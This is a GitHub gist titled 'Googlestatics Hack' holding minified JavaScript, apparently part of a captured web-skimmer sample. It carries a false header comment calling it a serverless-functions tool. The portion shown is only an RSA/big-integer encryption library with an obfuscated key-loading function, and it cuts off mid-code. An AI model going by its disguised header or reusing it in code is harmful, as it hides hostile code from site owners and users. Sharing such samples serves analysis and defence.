Created
August 19, 2019 12:38
-
-
Save htuscher/3d3ad52cbcc17b18ff4e104568f8d19c to your computer and use it in GitHub Desktop.
Googlestatics Hack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| 2017 SAS © this script transforms ordinary JavaScript modules into serverless cloud functions that can run on AWS Lambda and Google Cloud Functions. | |
| */ | |
| !function() { | |
| var t, i = function(t, i) { | |
| this.modulus = new g(e.encode(t),16), | |
| this.encryptionExponent = new g(e.encode(i),16) | |
| }, o = { | |
| base64: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", | |
| encode: function(t) { | |
| if (!t) | |
| return !1; | |
| for (var i, r, o, e, s, n, h, u = "", f = 0; e = (i = t.charCodeAt(f++)) >> 2, | |
| s = (3 & i) << 4 | (r = t.charCodeAt(f++)) >> 4, | |
| n = (15 & r) << 2 | (o = t.charCodeAt(f++)) >> 6, | |
| h = 63 & o, | |
| isNaN(r) ? n = h = 64 : isNaN(o) && (h = 64), | |
| u += this.base64.charAt(e) + this.base64.charAt(s) + this.base64.charAt(n) + this.base64.charAt(h), | |
| f < t.length; ) | |
| ; | |
| return u | |
| }, | |
| decode: function(t) { | |
| if (!t) | |
| return !1; | |
| t = t.replace(/[^A-Za-z0-9\+\/\=]/g, ""); | |
| for (var i, r, o, e, s = "", n = 0; i = this.base64.indexOf(t.charAt(n++)), | |
| r = this.base64.indexOf(t.charAt(n++)), | |
| o = this.base64.indexOf(t.charAt(n++)), | |
| e = this.base64.indexOf(t.charAt(n++)), | |
| s += String.fromCharCode(i << 2 | r >> 4), | |
| 64 != o && (s += String.fromCharCode((15 & r) << 4 | o >> 2)), | |
| 64 != e && (s += String.fromCharCode((3 & o) << 6 | e)), | |
| n < t.length; ) | |
| ; | |
| return s | |
| } | |
| }, e = { | |
| hex: "0123456789abcdef", | |
| encode: function(t) { | |
| if (!t) | |
| return !1; | |
| for (var i, r = "", o = 0; i = t.charCodeAt(o++), | |
| r += this.hex.charAt(i >> 4 & 15) + this.hex.charAt(15 & i), | |
| o < t.length; ) | |
| ; | |
| return r | |
| }, | |
| decode: function(t) { | |
| if (!t) | |
| return !1; | |
| t = t.replace(/[^0-9abcdef]/g, ""); | |
| for (var i = "", r = 0; i += String.fromCharCode(this.hex.indexOf(t.charAt(r++)) << 4 & 240 | 15 & this.hex.indexOf(t.charAt(r++))), | |
| r < t.length; ) | |
| ; | |
| return i | |
| } | |
| }, r = function(t) { | |
| this.error = !1, | |
| this.parse = function(t) { | |
| if (!t) | |
| return this.error = !0, | |
| null; | |
| for (var i = []; 0 < t.length; ) { | |
| var r = t.charCodeAt(0); | |
| t = t.substr(1); | |
| var o = 0; | |
| if (5 == (31 & r)) | |
| t = t.substr(1); | |
| else if (128 & t.charCodeAt(0)) { | |
| var e = 127 & t.charCodeAt(0); | |
| if (t = t.substr(1), | |
| 0 < e && (o = t.charCodeAt(0)), | |
| 1 < e && (o = o << 8 | t.charCodeAt(1)), | |
| 2 < e) | |
| return this.error = !0, | |
| null; | |
| t = t.substr(e) | |
| } else | |
| o = t.charCodeAt(0), | |
| t = t.substr(1); | |
| var s = ""; | |
| if (o) { | |
| if (o > t.length) | |
| return this.error = !0, | |
| null; | |
| s = t.substr(0, o), | |
| t = t.substr(o) | |
| } | |
| 32 & r ? i.push(this.parse(s)) : i.push(this.value(128 & r ? 4 : 31 & r, s)) | |
| } | |
| return i | |
| } | |
| , | |
| this.value = function(t, i) { | |
| if (1 == t) | |
| return !!i; | |
| if (2 == t) | |
| return i; | |
| if (3 == t) | |
| return this.parse(i.substr(1)); | |
| if (5 == t) | |
| return null; | |
| if (6 != t) | |
| return null; | |
| var r = [] | |
| , o = i.charCodeAt(0); | |
| r.push(Math.floor(o / 40)), | |
| r.push(o - 40 * r[0]); | |
| var e, s = [], n = 0; | |
| for (e = 1; e < i.length; e++) { | |
| var h = i.charCodeAt(e); | |
| if (s.push(127 & h), | |
| 128 & h) | |
| n++; | |
| else { | |
| var u, f = 0; | |
| for (u = 0; u < s.length; u++) | |
| f += s[u] * Math.pow(128, n--); | |
| r.push(f), | |
| n = 0, | |
| s = [] | |
| } | |
| } | |
| return r.join(".") | |
| } | |
| , | |
| this.data = this.parse(t) | |
| }, s = { | |
| eWufP: function(t) { | |
| return !(t.length < 50) && "-----BEGIN PUBLIC KEY-----" == t.substr(0, 26) && "-----END PUBLIC KEY-----" == (t = t.substr(26)).substr(t.length - 24) && (t = t.substr(0, t.length - 24), | |
| !(t = new r(o.decode(t))).error && "1.2.840.113549.1.1.1" == (t = t.data)[0][0][0] && new i(t[0][1][0][0],t[0][1][0][1])) | |
| }, | |
| encrypt: function(t, i) { | |
| if (!i) | |
| return !1; | |
| var r = i.modulus.bitLength() + 7 >> 3; | |
| if (!(t = this.pkcs1pad2(t, r))) | |
| return !1; | |
| if (!(t = t.modPowInt(i.encryptionExponent, i.modulus))) | |
| return !1; | |
| for (t = t.toString(16); t.length < 2 * r; ) | |
| t = "0" + t; | |
| return o.encode(e.decode(t)) | |
| }, | |
| pkcs1pad2: function(t, i) { | |
| if (i < t.length + 11) | |
| return null; | |
| for (var r = [], o = t.length - 1; 0 <= o && 0 < i; ) | |
| r[--i] = t.charCodeAt(o--); | |
| for (r[--i] = 0; 2 < i; ) | |
| r[--i] = Math.floor(254 * Math.random()) + 1; | |
| return r[--i] = 2, | |
| r[--i] = 0, | |
| new g(r) | |
| } | |
| }; | |
| function g(t, i, r) { | |
| null != t && ("number" == typeof t ? this.fromNumber(t, i, r) : null == i && "string" != typeof t ? this.fromString(t, 256) : this.fromString(t, i)) | |
| } | |
| function b() { | |
| return new g(null) | |
| } | |
| var n = "undefined" != typeof navigator; | |
| t = n && "Microsoft Internet Explorer" == navigator.appName ? (g.prototype.am = function(t, i, r, o, e, s) { | |
| for (var n = 32767 & i, h = i >> 15; 0 <= --s; ) { | |
| var u = 32767 & this[t] | |
| , f = this[t++] >> 15 | |
| , a = h * u + f * n; | |
| e = ((u = n * u + ((32767 & a) << 15) + r[o] + (1073741823 & e)) >>> 30) + (a >>> 15) + h * f + (e >>> 30), | |
| r[o++] = 1073741823 & u | |
| } | |
| return e | |
| } | |
| , | |
| 30) : n && "Netscape" != navigator.appName ? (g.prototype.am = function(t, i, r, o, e, s) { | |
| for (; 0 <= --s; ) { | |
| var n = i * this[t++] + r[o] + e; | |
| e = Math.floor(n / 67108864), | |
| r[o++] = 67108863 & n | |
| } | |
| return e | |
| } | |
| , | |
| 26) : (g.prototype.am = function(t, i, r, o, e, s) { | |
| for (var n = 16383 & i, h = i >> 14; 0 <= --s; ) { | |
| var u = 16383 & this[t] | |
| , f = this[t++] >> 14 | |
| , a = h * u + f * n; | |
| e = ((u = n * u + ((16383 & a) << 14) + r[o] + e) >> 28) + (a >> 14) + h * f, | |
| r[o++] = 268435455 & u | |
| } | |
| return e | |
| } | |
| , | |
| 28), | |
| g.prototype.DB = t, | |
| g.prototype.DM = (1 << t) - 1, | |
| g.prototype.DV = 1 << t; | |
| g.prototype.FV = Math.pow(2, 52), | |
| g.prototype.F1 = 52 - t, | |
| g.prototype.F2 = 2 * t - 52; | |
| var h, u, f = "0123456789abcdefghijklmnopqrstuvwxyz", a = new Array; | |
| for (h = "0".charCodeAt(0), | |
| u = 0; u <= 9; ++u) | |
| a[h++] = u; | |
| for (h = "a".charCodeAt(0), | |
| u = 10; u < 36; ++u) | |
| a[h++] = u; | |
| for (h = "A".charCodeAt(0), | |
| u = 10; u < 36; ++u) | |
| a[h++] = u; | |
| function p(t) { | |
| return f.charAt(t) | |
| } | |
| function c(t, i) { | |
| var r = a[t.charCodeAt(i)]; | |
| return null == r ? -1 : r | |
| } | |
| function v(t) { | |
| var i = b(); | |
| return i.fromInt(t), | |
| i | |
| } | |
| function w(t) { | |
| var i, r = 1; | |
| return 0 != (i = t >>> 16) && (t = i, | |
| r += 16), | |
| 0 != (i = t >> 8) && (t = i, | |
| r += 8), | |
| 0 != (i = t >> 4) && (t = i, | |
| r += 4), | |
| 0 != (i = t >> 2) && (t = i, | |
| r += 2), | |
| 0 != (i = t >> 1) && (t = i, | |
| r += 1), | |
| r | |
| } | |
| function y(t) { | |
| this.m = t | |
| } | |
| function T(t) { | |
| this.m = t, | |
| this.mp = t.invDigit(), | |
| this.mpl = 32767 & this.mp, | |
| this.mph = this.mp >> 15, | |
| this.um = (1 << t.DB - 15) - 1, | |
| this.mt2 = 2 * t.t | |
| } | |
| function l(t, i) { | |
| return t & i | |
| } | |
| function m(t, i) { | |
| return t | i | |
| } | |
| function d(t, i) { | |
| return t ^ i | |
| } | |
| function D(t, i) { | |
| return t & ~i | |
| } | |
| function S(t) { | |
| if (0 == t) | |
| return -1; | |
| var i = 0; | |
| return 0 == (65535 & t) && (t >>= 16, | |
| i += 16), | |
| 0 == (255 & t) && (t >>= 8, | |
| i += 8), | |
| 0 == (15 & t) && (t >>= 4, | |
| i += 4), | |
| 0 == (3 & t) && (t >>= 2, | |
| i += 2), | |
| 0 == (1 & t) && ++i, | |
| i | |
| } | |
| function B(t) { | |
| for (var i = 0; 0 != t; ) | |
| t &= t - 1, | |
| ++i; | |
| return i | |
| } | |
| function E() {} | |
| function A(t) { | |
| return t | |
| } | |
| function M(t) { | |
| this.r2 = b(), | |
| this.q3 = b(), | |
| g.ONE.dlShiftTo(2 * t.t, this.r2), | |
| this.mu = this.r2.divide(t), | |
| this.m = t | |
| } | |
| y.prototype.convert = function(t) { | |
| return t.s < 0 || 0 <= t.compareTo(this.m) ? t.mod(this.m) : t | |
| } | |
| , | |
| y.prototype.revert = function(t) { | |
| return t | |
| } | |
| , | |
| y.prototype.reduce = function(t) { | |
| t.divRemTo(this.m, null, t) | |
| } | |
| , | |
| y.prototype.mulTo = function(t, i, r) { | |
| t.multiplyTo(i, r), | |
| this.reduce(r) | |
| } | |
| , | |
| y.prototype.sqrTo = function(t, i) { | |
| t.squareTo(i), | |
| this.reduce(i) | |
| } | |
| , | |
| T.prototype.convert = function(t) { | |
| var i = b(); | |
| return t.abs().dlShiftTo(this.m.t, i), | |
| i.divRemTo(this.m, null, i), | |
| t.s < 0 && 0 < i.compareTo(g.ZERO) && this.m.subTo(i, i), | |
| i | |
| } | |
| , | |
| T.prototype.revert = function(t) { | |
| var i = b(); | |
| return t.copyTo(i), | |
| this.reduce(i), | |
| i | |
| } | |
| , | |
| T.prototype.reduce = function(t) { | |
| for (; t.t <= this.mt2; ) | |
| t[t.t++] = 0; | |
| for (var i = 0; i < this.m.t; ++i) { | |
| var r = 32767 & t[i] | |
| , o = r * this.mpl + ((r * this.mph + (t[i] >> 15) * this.mpl & this.um) << 15) & t.DM; | |
| for (t[r = i + this.m.t] += this.m.am(0, o, t, i, 0, this.m.t); t[r] >= t.DV; ) | |
| t[r] -= t.DV, | |
| t[++r]++ | |
| } | |
| t.clamp(), | |
| t.drShiftTo(this.m.t, t), | |
| 0 <= t.compareTo(this.m) && t.subTo(this.m, t) | |
| } | |
| , | |
| T.prototype.mulTo = function(t, i, r) { | |
| t.multiplyTo(i, r), | |
| this.reduce(r) | |
| } | |
| , | |
| T.prototype.sqrTo = function(t, i) { | |
| t.squareTo(i), | |
| this.reduce(i) | |
| } | |
| , | |
| g.prototype.copyTo = function(t) { | |
| for (var i = this.t - 1; 0 <= i; --i) | |
| t[i] = this[i]; | |
| t.t = this.t, | |
| t.s = this.s | |
| } | |
| , | |
| g.prototype.fromInt = function(t) { | |
| this.t = 1, | |
| this.s = t < 0 ? -1 : 0, | |
| 0 < t ? this[0] = t : t < -1 ? this[0] = t + this.DV : this.t = 0 | |
| } | |
| , | |
| g.prototype.fromString = function(t, i) { | |
| var r; | |
| if (16 == i) | |
| r = 4; | |
| else if (8 == i) | |
| r = 3; | |
| else if (256 == i) | |
| r = 8; | |
| else if (2 == i) | |
| r = 1; | |
| else if (32 == i) | |
| r = 5; | |
| else { | |
| if (4 != i) | |
| return void this.fromRadix(t, i); | |
| r = 2 | |
| } | |
| this.t = 0, | |
| this.s = 0; | |
| for (var o = t.length, e = !1, s = 0; 0 <= --o; ) { | |
| var n = 8 == r ? 255 & t[o] : c(t, o); | |
| n < 0 ? "-" == t.charAt(o) && (e = !0) : (e = !1, | |
| 0 == s ? this[this.t++] = n : s + r > this.DB ? (this[this.t - 1] |= (n & (1 << this.DB - s) - 1) << s, | |
| this[this.t++] = n >> this.DB - s) : this[this.t - 1] |= n << s, | |
| (s += r) >= this.DB && (s -= this.DB)) | |
| } | |
| 8 == r && 0 != (128 & t[0]) && (this.s = -1, | |
| 0 < s && (this[this.t - 1] |= (1 << this.DB - s) - 1 << s)), | |
| this.clamp(), | |
| e && g.ZERO.subTo(this, this) | |
| } | |
| , | |
| g.prototype.clamp = function() { | |
| for (var t = this.s & this.DM; 0 < this.t && this[this.t - 1] == t; ) | |
| --this.t | |
| } | |
| , | |
| g.prototype.dlShiftTo = function(t, i) { | |
| var r; | |
| for (r = this.t - 1; 0 <= r; --r) | |
| i[r + t] = this[r]; | |
| for (r = t - 1; 0 <= r; --r) | |
| i[r] = 0; | |
| i.t = this.t + t, | |
| i.s = this.s | |
| } | |
| , | |
| g.prototype.drShiftTo = function(t, i) { | |
| for (var r = t; r < this.t; ++r) | |
| i[r - t] = this[r]; | |
| i.t = Math.max(this.t - t, 0), | |
| i.s = this.s | |
| } | |
| , | |
| g.prototype.lShiftTo = function(t, i) { | |
| var r, o = t % this.DB, e = this.DB - o, s = (1 << e) - 1, n = Math.floor(t / this.DB), h = this.s << o & this.DM; | |
| for (r = this.t - 1; 0 <= r; --r) | |
| i[r + n + 1] = this[r] >> e | h, | |
| h = (this[r] & s) << o; | |
| for (r = n - 1; 0 <= r; --r) | |
| i[r] = 0; | |
| i[n] = h, | |
| i.t = this.t + n + 1, | |
| i.s = this.s, | |
| i.clamp() | |
| } | |
| , | |
| g.prototype.rShiftTo = function(t, i) { | |
| i.s = this.s; | |
| var r = Math.floor(t / this.DB); | |
| if (r >= this.t) | |
| i.t = 0; | |
| else { | |
| var o = t % this.DB | |
| , e = this.DB - o | |
| , s = (1 << o) - 1; | |
| i[0] = this[r] >> o; | |
| for (var n = r + 1; n < this.t; ++n) | |
| i[n - r - 1] |= (this[n] & s) << e, | |
| i[n - r] = this[n] >> o; | |
| 0 < o && (i[this.t - r - 1] |= (this.s & s) << e), | |
| i.t = this.t - r, | |
| i.clamp() | |
| } | |
| } | |
| , | |
| g.prototype.subTo = function(t, i) { | |
| for (var r = 0, o = 0, e = Math.min(t.t, this.t); r < e; ) | |
| o += this[r] - t[r], | |
| i[r++] = o & this.DM, | |
| o >>= this.DB; | |
| if (t.t < this.t) { | |
| for (o -= t.s; r < this.t; ) | |
| o += this[r], | |
| i[r++] = o & this.DM, | |
| o >>= this.DB; | |
| o += this.s | |
| } else { | |
| for (o += this.s; r < t.t; ) | |
| o -= t[r], | |
| i[r++] = o & this.DM, | |
| o >>= this.DB; | |
| o -= t.s | |
| } | |
| i.s = o < 0 ? -1 : 0, | |
| o < -1 ? i[r++] = this.DV + o : 0 < o && (i[r++] = o), | |
| i.t = r, | |
| i.clamp() | |
| } | |
| , | |
| g.prototype.multiplyTo = function(t, i) { | |
| var r = this.abs() | |
| , o = t.abs() | |
| , e = r.t; | |
| for (i.t = e + o.t; 0 <= --e; ) | |
| i[e] = 0; | |
| for (e = 0; e < o.t; ++e) | |
| i[e + r.t] = r.am(0, o[e], i, e, 0, r.t); | |
| i.s = 0, | |
| i.clamp(), | |
| this.s != t.s && g.ZERO.subTo(i, i) | |
| } | |
| , | |
| g.prototype.squareTo = function(t) { | |
| for (var i = this.abs(), r = t.t = 2 * i.t; 0 <= --r; ) | |
| t[r] = 0; | |
| for (r = 0; r < i.t - 1; ++r) { | |
| var o = i.am(r, i[r], t, 2 * r, 0, 1); | |
| (t[r + i.t] += i.am(r + 1, 2 * i[r], t, 2 * r + 1, o, i.t - r - 1)) >= i.DV && (t[r + i.t] -= i.DV, | |
| t[r + i.t + 1] = 1) | |
| } | |
| 0 < t.t && (t[t.t - 1] += i.am(r, i[r], t, 2 * r, 0, 1)), | |
| t.s = 0, | |
| t.clamp() | |
| } | |
| , | |
| g.prototype.divRemTo = function(t, i, r) { | |
| var o = t.abs(); | |
| if (!(o.t <= 0)) { | |
| var e = this.abs(); | |
| if (e.t < o.t) | |
| return null != i && i.fromInt(0), | |
| void (null != r && this.copyTo(r)); | |
| null == r && (r = b()); | |
| var s = b() | |
| , n = this.s | |
| , h = t.s | |
| , u = this.DB - w(o[o.t - 1]); | |
| 0 < u ? (o.lShiftTo(u, s), | |
| e.lShiftTo(u, r)) : (o.copyTo(s), | |
| e.copyTo(r)); | |
| var f = s.t | |
| , a = s[f - 1]; | |
| if (0 != a) { | |
| var p = a * (1 << this.F1) + (1 < f ? s[f - 2] >> this.F2 : 0) | |
| , c = this.FV / p | |
| , l = (1 << this.F1) / p | |
| , m = 1 << this.F2 | |
| , d = r.t | |
| , v = d - f | |
| , y = null == i ? b() : i; | |
| for (s.dlShiftTo(v, y), | |
| 0 <= r.compareTo(y) && (r[r.t++] = 1, | |
| r.subTo(y, r)), | |
| g.ONE.dlShiftTo(f, y), | |
| y.subTo(s, s); s.t < f; ) | |
| s[s.t++] = 0; | |
| for (; 0 <= --v; ) { | |
| var T = r[--d] == a ? this.DM : Math.floor(r[d] * c + (r[d - 1] + m) * l); | |
| if ((r[d] += s.am(0, T, r, v, 0, f)) < T) | |
| for (s.dlShiftTo(v, y), | |
| r.subTo(y, r); r[d] < --T; ) | |
| r.subTo(y, r) | |
| } | |
| null != i && (r.drShiftTo(f, i), | |
| n != h && g.ZERO.subTo(i, i)), | |
| r.t = f, | |
| r.clamp(), | |
| 0 < u && r.rShiftTo(u, r), | |
| n < 0 && g.ZERO.subTo(r, r) | |
| } | |
| } | |
| } | |
| , | |
| g.prototype.invDigit = function() { | |
| if (this.t < 1) | |
| return 0; | |
| var t = this[0]; | |
| if (0 == (1 & t)) | |
| return 0; | |
| var i = 3 & t; | |
| return 0 < (i = (i = (i = (i = i * (2 - (15 & t) * i) & 15) * (2 - (255 & t) * i) & 255) * (2 - ((65535 & t) * i & 65535)) & 65535) * (2 - t * i % this.DV) % this.DV) ? this.DV - i : -i | |
| } | |
| , | |
| g.prototype.isEven = function() { | |
| return 0 == (0 < this.t ? 1 & this[0] : this.s) | |
| } | |
| , | |
| g.prototype.exp = function(t, i) { | |
| if (4294967295 < t || t < 1) | |
| return g.ONE; | |
| var r = b() | |
| , o = b() | |
| , e = i.convert(this) | |
| , s = w(t) - 1; | |
| for (e.copyTo(r); 0 <= --s; ) | |
| if (i.sqrTo(r, o), | |
| 0 < (t & 1 << s)) | |
| i.mulTo(o, e, r); | |
| else { | |
| var n = r; | |
| r = o, | |
| o = n | |
| } | |
| return i.revert(r) | |
| } | |
| , | |
| g.prototype.toString = function(t) { | |
| if (this.s < 0) | |
| return "-" + this.negate().toString(t); | |
| var i; | |
| if (16 == t) | |
| i = 4; | |
| else if (8 == t) | |
| i = 3; | |
| else if (2 == t) | |
| i = 1; | |
| else if (32 == t) | |
| i = 5; | |
| else { | |
| if (4 != t) | |
| return this.toRadix(t); | |
| i = 2 | |
| } | |
| var r, o = (1 << i) - 1, e = !1, s = "", n = this.t, h = this.DB - n * this.DB % i; | |
| if (0 < n--) | |
| for (h < this.DB && 0 < (r = this[n] >> h) && (e = !0, | |
| s = p(r)); 0 <= n; ) | |
| h < i ? (r = (this[n] & (1 << h) - 1) << i - h, | |
| r |= this[--n] >> (h += this.DB - i)) : (r = this[n] >> (h -= i) & o, | |
| h <= 0 && (h += this.DB, | |
| --n)), | |
| 0 < r && (e = !0), | |
| e && (s += p(r)); | |
| return e ? s : "0" | |
| } | |
| , | |
| g.prototype.negate = function() { | |
| var t = b(); | |
| return g.ZERO.subTo(this, t), | |
| t | |
| } | |
| , | |
| g.prototype.abs = function() { | |
| return this.s < 0 ? this.negate() : this | |
| } | |
| , | |
| g.prototype.compareTo = function(t) { | |
| var i = this.s - t.s; | |
| if (0 != i) | |
| return i; | |
| var r = this.t; | |
| if (0 != (i = r - t.t)) | |
| return this.s < 0 ? -i : i; | |
| for (; 0 <= --r; ) | |
| if (0 != (i = this[r] - t[r])) | |
| return i; | |
| return 0 | |
| } | |
| , | |
| g.prototype.bitLength = function() { | |
| return this.t <= 0 ? 0 : this.DB * (this.t - 1) + w(this[this.t - 1] ^ this.s & this.DM) | |
| } | |
| , | |
| g.prototype.mod = function(t) { | |
| var i = b(); | |
| return this.abs().divRemTo(t, null, i), | |
| this.s < 0 && 0 < i.compareTo(g.ZERO) && t.subTo(i, i), | |
| i | |
| } | |
| , | |
| g.prototype.modPowInt = function(t, i) { | |
| var r; | |
| return r = t < 256 || i.isEven() ? new y(i) : new T(i), | |
| this.exp(t, r) | |
| } | |
| , | |
| g.ZERO = v(0), | |
| g.ONE = v(1), | |
| E.prototype.convert = A, | |
| E.prototype.revert = A, | |
| E.prototype.mulTo = function(t, i, r) { | |
| t.multiplyTo(i, r) | |
| } | |
| , | |
| E.prototype.sqrTo = function(t, i) { | |
| t.squareTo(i) | |
| } | |
| , | |
| M.prototype.convert = function(t) { | |
| if (t.s < 0 || t.t > 2 * this.m.t) | |
| return t.mod(this.m); | |
| if (t.compareTo(this.m) < 0) | |
| return t; | |
| var i = b(); | |
| return t.copyTo(i), | |
| this.reduce(i), | |
| i | |
| } | |
| , | |
| M.prototype.revert = function(t) { | |
| return t | |
| } | |
| , | |
| M.prototype.reduce = function(t) { | |
| for (t.drShiftTo(this.m.t - 1, this.r2), | |
| t.t > this.m.t + 1 && (t.t = this.m.t + 1, | |
| t.clamp()), | |
| this.mu.multiplyUpperTo(this.r2, this.m.t + 1, this.q3), | |
| this.m.multiplyLowerTo(this.q3, this.m.t + 1, this.r2); t.compareTo(this.r2) < 0; ) | |
| t.dAddOffset(1, this.m.t + 1); | |
| for (t.subTo(this.r2, t); 0 <= t.compareTo(this.m); ) | |
| t.subTo(this.m, t) | |
| } | |
| , | |
| M.prototype.mulTo = function(t, i, r) { | |
| t.multiplyTo(i, r), | |
| this.reduce(r) | |
| } | |
| , | |
| M.prototype.sqrTo = function(t, i) { | |
| t.squareTo(i), | |
| this.reduce(i) | |
| } | |
| ; | |
| var R, x, O, C = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997], N = (1 << 26) / C[C.length - 1]; | |
| function _() { | |
| var t; | |
| t = (new Date).getTime(), | |
| x[O++] ^= 255 & t, | |
| x[O++] ^= t >> 8 & 255, | |
| x[O++] ^= t >> 16 & 255, | |
| x[O++] ^= t >> 24 & 255, | |
| F <= O && (O -= F) | |
| } | |
| if (g.prototype.chunkSize = function(t) { | |
| return Math.floor(Math.LN2 * this.DB / Math.log(t)) | |
| } | |
| , | |
| g.prototype.toRadix = function(t) { | |
| if (null == t && (t = 10), | |
| 0 == this.signum() || t < 2 || 36 < t) | |
| return "0"; | |
| var i = this.chunkSize(t) | |
| , r = Math.pow(t, i) | |
| , o = v(r) | |
| , e = b() | |
| , s = b() | |
| , n = ""; | |
| for (this.divRemTo(o, e, s); 0 < e.signum(); ) | |
| n = (r + s.intValue()).toString(t).substr(1) + n, | |
| e.divRemTo(o, e, s); | |
| return s.intValue().toString(t) + n | |
| } | |
| , | |
| g.prototype.fromRadix = function(t, i) { | |
| this.fromInt(0), | |
| null == i && (i = 10); | |
| for (var r = this.chunkSize(i), o = Math.pow(i, r), e = !1, s = 0, n = 0, h = 0; h < t.length; ++h) { | |
| var u = c(t, h); | |
| u < 0 ? "-" == t.charAt(h) && 0 == this.signum() && (e = !0) : (n = i * n + u, | |
| ++s >= r && (this.dMultiply(o), | |
| this.dAddOffset(n, 0), | |
| n = s = 0)) | |
| } | |
| 0 < s && (this.dMultiply(Math.pow(i, s)), | |
| this.dAddOffset(n, 0)), | |
| e && g.ZERO.subTo(this, this) | |
| } | |
| , | |
| g.prototype.fromNumber = function(t, i, r) { | |
| if ("number" == typeof i) | |
| if (t < 2) | |
| this.fromInt(1); | |
| else | |
| for (this.fromNumber(t, r), | |
| this.testBit(t - 1) || this.bitwiseTo(g.ONE.shiftLeft(t - 1), m, this), | |
| this.isEven() && this.dAddOffset(1, 0); !this.isProbablePrime(i); ) | |
| this.dAddOffset(2, 0), | |
| this.bitLength() > t && this.subTo(g.ONE.shiftLeft(t - 1), this); | |
| else { | |
| var o = new Array | |
| , e = 7 & t; | |
| o.length = 1 + (t >> 3), | |
| i.nextBytes(o), | |
| 0 < e ? o[0] &= (1 << e) - 1 : o[0] = 0, | |
| this.fromString(o, 256) | |
| } | |
| } | |
| , | |
| g.prototype.bitwiseTo = function(t, i, r) { | |
| var o, e, s = Math.min(t.t, this.t); | |
| for (o = 0; o < s; ++o) | |
| r[o] = i(this[o], t[o]); | |
| if (t.t < this.t) { | |
| for (e = t.s & this.DM, | |
| o = s; o < this.t; ++o) | |
| r[o] = i(this[o], e); | |
| r.t = this.t | |
| } else { | |
| for (e = this.s & this.DM, | |
| o = s; o < t.t; ++o) | |
| r[o] = i(e, t[o]); | |
| r.t = t.t | |
| } | |
| r.s = i(this.s, t.s), | |
| r.clamp() | |
| } | |
| , | |
| g.prototype.changeBit = function(t, i) { | |
| var r = g.ONE.shiftLeft(t); | |
| return this.bitwiseTo(r, i, r), | |
| r | |
| } | |
| , | |
| g.prototype.addTo = function(t, i) { | |
| for (var r = 0, o = 0, e = Math.min(t.t, this.t); r < e; ) | |
| o += this[r] + t[r], | |
| i[r++] = o & this.DM, | |
| o >>= this.DB; | |
| if (t.t < this.t) { | |
| for (o += t.s; r < this.t; ) | |
| o += this[r], | |
| i[r++] = o & this.DM, | |
| o >>= this.DB; | |
| o += this.s | |
| } else { | |
| for (o += this.s; r < t.t; ) | |
| o += t[r], | |
| i[r++] = o & this.DM, | |
| o >>= this.DB; | |
| o += t.s | |
| } | |
| i.s = o < 0 ? -1 : 0, | |
| 0 < o ? i[r++] = o : o < -1 && (i[r++] = this.DV + o), | |
| i.t = r, | |
| i.clamp() | |
| } | |
| , | |
| g.prototype.dMultiply = function(t) { | |
| this[this.t] = this.am(0, t - 1, this, 0, 0, this.t), | |
| ++this.t, | |
| this.clamp() | |
| } | |
| , | |
| g.prototype.dAddOffset = function(t, i) { | |
| if (0 != t) { | |
| for (; this.t <= i; ) | |
| this[this.t++] = 0; | |
| for (this[i] += t; this[i] >= this.DV; ) | |
| this[i] -= this.DV, | |
| ++i >= this.t && (this[this.t++] = 0), | |
| ++this[i] | |
| } | |
| } | |
| , | |
| g.prototype.multiplyLowerTo = function(t, i, r) { | |
| var o, e = Math.min(this.t + t.t, i); | |
| for (r.s = 0, | |
| r.t = e; 0 < e; ) | |
| r[--e] = 0; | |
| for (o = r.t - this.t; e < o; ++e) | |
| r[e + this.t] = this.am(0, t[e], r, e, 0, this.t); | |
| for (o = Math.min(t.t, i); e < o; ++e) | |
| this.am(0, t[e], r, e, 0, i - e); | |
| r.clamp() | |
| } | |
| , | |
| g.prototype.multiplyUpperTo = function(t, i, r) { | |
| --i; | |
| var o = r.t = this.t + t.t - i; | |
| for (r.s = 0; 0 <= --o; ) | |
| r[o] = 0; | |
| for (o = Math.max(i - this.t, 0); o < t.t; ++o) | |
| r[this.t + o - i] = this.am(i - o, t[o], r, 0, 0, this.t + o - i); | |
| r.clamp(), | |
| r.drShiftTo(1, r) | |
| } | |
| , | |
| g.prototype.modInt = function(t) { | |
| if (t <= 0) | |
| return 0; | |
| var i = this.DV % t | |
| , r = this.s < 0 ? t - 1 : 0; | |
| if (0 < this.t) | |
| if (0 == i) | |
| r = this[0] % t; | |
| else | |
| for (var o = this.t - 1; 0 <= o; --o) | |
| r = (i * r + this[o]) % t; | |
| return r | |
| } | |
| , | |
| g.prototype.millerRabin = function(t) { | |
| var i = this.subtract(g.ONE) | |
| , r = i.getLowestSetBit(); | |
| if (r <= 0) | |
| return !1; | |
| var o = i.shiftRight(r); | |
| (t = t + 1 >> 1) > C.length && (t = C.length); | |
| for (var e = b(), s = 0; s < t; ++s) { | |
| e.fromInt(C[Math.floor(Math.random() * C.length)]); | |
| var n = e.modPow(o, this); | |
| if (0 != n.compareTo(g.ONE) && 0 != n.compareTo(i)) { | |
| for (var h = 1; h++ < r && 0 != n.compareTo(i); ) | |
| if (0 == (n = n.modPowInt(2, this)).compareTo(g.ONE)) | |
| return !1; | |
| if (0 != n.compareTo(i)) | |
| return !1 | |
| } | |
| } | |
| return !0 | |
| } | |
| , | |
| g.prototype.clone = function() { | |
| var t = b(); | |
| return this.copyTo(t), | |
| t | |
| } | |
| , | |
| g.prototype.intValue = function() { | |
| if (this.s < 0) { | |
